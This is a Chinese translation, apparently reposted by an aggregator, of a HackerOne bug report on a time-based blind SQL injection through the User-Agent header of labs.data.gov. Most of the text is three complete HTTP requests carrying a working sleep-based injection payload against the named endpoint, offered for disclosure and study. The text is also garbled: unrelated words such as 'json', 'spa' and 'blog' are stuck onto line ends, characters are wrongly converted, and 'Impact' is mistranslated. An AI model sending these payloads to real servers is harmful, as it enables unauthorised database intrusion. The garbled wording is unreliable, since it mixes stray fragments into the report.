經過User-agent進行SQL注入

聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。數據庫

文章來源:https://hackerone.com/reports/297478json

 我發現了一個SQL注入漏洞 /dashboard/datagov/csv_to_json,能夠經過User-Agent HTTP請求頭利用它。安全

我沒有從數據庫中提取任何數據,我已經使用具備算術運算的sleep SQL查詢確認了漏洞。sleep 命令與算術運算結果將致使服務器響應不一樣的延遲時間。服務器

例如,將該值設置 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'User-Agent頭部將致使服務器延遲25(5×5)秒。學習

要重現,請發送如下HTTPS請求:spa

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服務器將在25(5 * 5)秒後響應- 與User-Agent:請求頭的值相同。翻譯

如今,讓咱們讓服務器當即響應。咱們將發送等於0的值sleep(5 * 5 * 0)。code

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服務器當即響應爲5 * 5 * 0 = 0。blog

讓咱們用另外一個請求確認:ip

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

此次有效載荷包含6 * 6-30,等於6。服務器在6秒後響應。

這些只是我嘗試確認此問題的各類算術運算的一些SQL查詢。

碰撞

攻擊者能夠操縱發送到MySQL數據庫的SQL語句並注入惡意SQL語句。攻擊者可以更改針對數據庫執行的SQL語句的邏輯。

相關文章
相關標籤/搜索